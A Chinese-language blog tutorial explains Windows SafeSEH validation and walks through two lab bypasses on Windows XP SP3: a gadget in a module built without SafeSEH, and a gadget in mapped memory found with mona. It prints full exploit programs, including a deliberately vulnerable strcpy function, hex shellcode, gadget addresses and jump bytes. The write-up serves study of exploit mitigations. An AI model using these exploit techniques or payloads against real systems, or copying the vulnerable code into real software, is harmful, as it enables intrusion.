selph
selph
发布于 2022-03-29 / 746 阅读
0
0

Windows安全机制--SafeSEH

SafeSEH是针对SEH异常处理的保护机制

SafeSEH异常保护原理

在Windows XP SP2版本之后微软引入了SafeSEH

在程序调用异常处理函数前,对要调用的异常处理函数进行一系列有效性校验,当发现异常处理函数不可靠时,将终止异常处理函数的调用

SafeSEH需要操作系统和编译器的双重支持:

编译器通过启动/SafeSEH链接选项开启编译程序具备SafeSEH功能(编译选项在VS2003之后默认开启)启用后,编译器在编译程序时将所有异常处理函数地址提取出来,编入一张SEH表里,并将这张表存到程序里,当程序调用异常处理函数时,与表中函数进行匹配,检查调用的函数是否位于表中


操作系统调用RtlDispatchException()进行检测:

  • 如果异常处理链不在当前程序的栈中,则终止异常处理调用
  • 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用
  • 如果前两项检查通过后(SEH的链在栈中,函数不在),则调用RtlIsValidHandler()进行异常处理有效性检查

RtlIsValidHandler()会判断异常处理函数地址是不是在加载模块的内存空间

如果属于加载模块的内存空间,校验函数将进行如下判断:

  1. 判断程序是否设置了IMAGE_DLLCHARACTERISTICS_NO_SEH,如果设置了,异常会被忽略,函数返回校验失败
  2. 检测程序是否包含SEH表,如果包含,则将异常处理函数地址与该表进行匹配,匹配成功返回校验成功,否则返回校验失败
  3. 判断程序是否设置了ILonly标识,如果设置了,说明程序只包含.NET中间语言,直接返回校验失败
  4. 判断异常处理函数地址是否位于不可执行页,如果位于,就检测DEP是否开启,如果未开启则返回校验成功,开启了则抛出访问违例异常(0xC0000005)

如果不属于加载模块的内存空间,校验函数直接进行DEP相关检测:

  1. 判断异常处理函数地址是否位于不可执行页,如果位于,就检测DEP是否开启,如果未开启则返回校验成功,开启了则抛出访问违例异常(0xC0000005)
  2. 判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校验成功,否则返回校验失败

校验流程如下:

RtlIsValidHandler校验流程

有3条路可以让验证通过,从正面突破可能性不大,可以考虑图中的下面两条路

突破SafeSEH的方法:

  1. 不攻击SEH:
    • 攻击返回地址:如果启动了SafeSEH,攻击的函数没有GS保护,则直接栈溢出攻击返回地址即可
    • 攻击虚函数:攻击虚函数表劫持程序不涉及SEH流程,所以不会被SafeSEH影响
  2. 利用未启用SafeSEH的模块绕过SafeSEH
  3. 利用加载模块之外的地址绕过SafeSEH

利用未启用SafeSEH的模块绕过SageSEH

实验环境:WindowsXP SP3 + VS2008 + VC++6.0 + Release版本+禁用优化

实验代码:

DLL:VC++6.0编译,将基址设置为0x11120000(图方便,防止pop pop ret指令地址存在0x00)

#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
	pop eax
	pop eax
	retn
	}
}

如果要用VS2008编译不开启SafeSEH的模块则需要在项目设置,链接器,命令行里输入:/SAFESEH:NO即可

exe:VS2008编译

#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";


char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x00";

DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);	
    int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
	char str[200];
	//__asm int 3
	test(shellcode);
	return 0;
}

VC++6.0编译出来的程序没有SafeSEH机制,可以这么得到一个未启用SafeSEH的模块

漏洞程序功能是加载一个模块,然后经过一个经典栈溢出后,发生除零异常

因为模块未开启SafeSEH,所以可以使用这个模块中的指令作为跳板来绕过SafeSEH,首先需要找到一个跳板指令:我们在dll里自己添加的跳板指令,位于0x11121012

image-20220302161354828

接下来执行程序到发生异常,计算溢出字符串离最近SEH的距离:

image-20220302161720883

中间隔了24个字节,再加上SEH链首4字节,一共28字节,然后拼上跳板地址,即可跳出

这里使用try和except语句块来接收异常,就出现了个小细节:

image-20220302162453471

在进入try语句块前后,会对ebp-4这个位置的值进行修改

所以如果shellcode填充到了这个位置上,则会导致执行失败,所以shellcode关键代码要填充在后头

于是这里shellcode把填充代码0x90放在前面了,当执行到除零异常的时候,异常处理程序会跳到我们指定的位置上去:

image-20220302162829963

进入异常处理函数之后,栈里的东西依次是我们用来覆盖异常函数指针的跳板地址(是个调用call过来的返回地址),和进入try块被赋值0的地址,然后就是SEH结构地址,通过pop,pop,ret跳转到SEH结构地址进行执行shellcode:

image-20220302163616674


这里的能够不触发SafeSEH的原因是异常处理函数地址位于模块外,且位于可执行页上,并且允许加载模块内存外执行,所以SafeSEH就会验证通过

如果编译的模块启用了SafeSEH,则在调试器下,除零异常不会进入异常处理函数,而会在发生异常的地方反复抛出异常,如果编译的模块没启用SafeSEH,则可以执行到异常处理函数里

利用加载模块之外的地址绕过SafeSEH

在内存布局里,类型为map映射类型的内存不受SafeSEH管控,不会进行有效性验证,所以从这里找跳板指令来构造shellcode也可以

image-20220302174407095

跳板指令除了前面用过的pop pop ret之外,还有其他的,《0day安全》第二版上有举例,只要找到一条就可以绕开SafeSEH了

image-20220302174710920


实验环境:Windows XP SP3 + VS2008 + Release编译 + 禁用优化 + DEP关闭

实验代码:

#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <windows.h>

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;

char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x00";
DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);	
    int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	//__asm int 3
	test(shellcode);
	return 0;
}

代码逻辑和上例一样,只是不加载模块了

接下来搜索可用跳转指令,通过Immunitydebug的mona插件可以搜索到可用跳转,从而配合跳转构造shellcode执行

mona搜索指令:!mona jseh

得到的结果:

Log data, item 4
 Address=00280B0B
 Message=Found CALL DWORD PTR SS:[EBP+30] at 0x00280b0b - Access: (PAGE_READONLY) - Outside of a loaded module

位于0x00280B0B有一个CALL指令可以用(这里主要是为了实验找map内存区域的跳转指令用,所以实验环境关闭了DEP,因此只读页也可以执行)

接下来使用正常的0x90的shellcode去调试,查看shellcode的信息:

image-20220302175623446

shellcode的起始地址是0x12FE88,shellcode需要再增长28+4个字节填充后添加4字节的跳转地址即可覆盖到SEH,跳转地址是0x00280B0B

先挂调试器执行,手动修改SEH函数,跑到跳转这一行看看栈的情况:

image-20220302180316292

会跳转到0x12FF60这个位置执行

image-20220302180645966

这个位置下面就是异常函数指针,是不能变的,所以要跳转到前面的shellcode首地址,需要先进行小于4字节指令小跳转衔接大跳转来进行,所以构造shellcode跳转:

image-20220302181037693

大跳转跳转到shellcode首地址,然后shellcode顺利执行:

image-20220302181118286

总结

SafeSEH是对SEH机制的保护,不合法的SEH处理函数不能被执行

但是SafeSEH的保护是有限的,本章介绍了两种绕过SafeSEH保护的方式:跳转到未开启SafeSEH保护的模块去跳转执行shellcode,跳转到MAP类型内存区域去跳转执行shellcode

参考资料


评论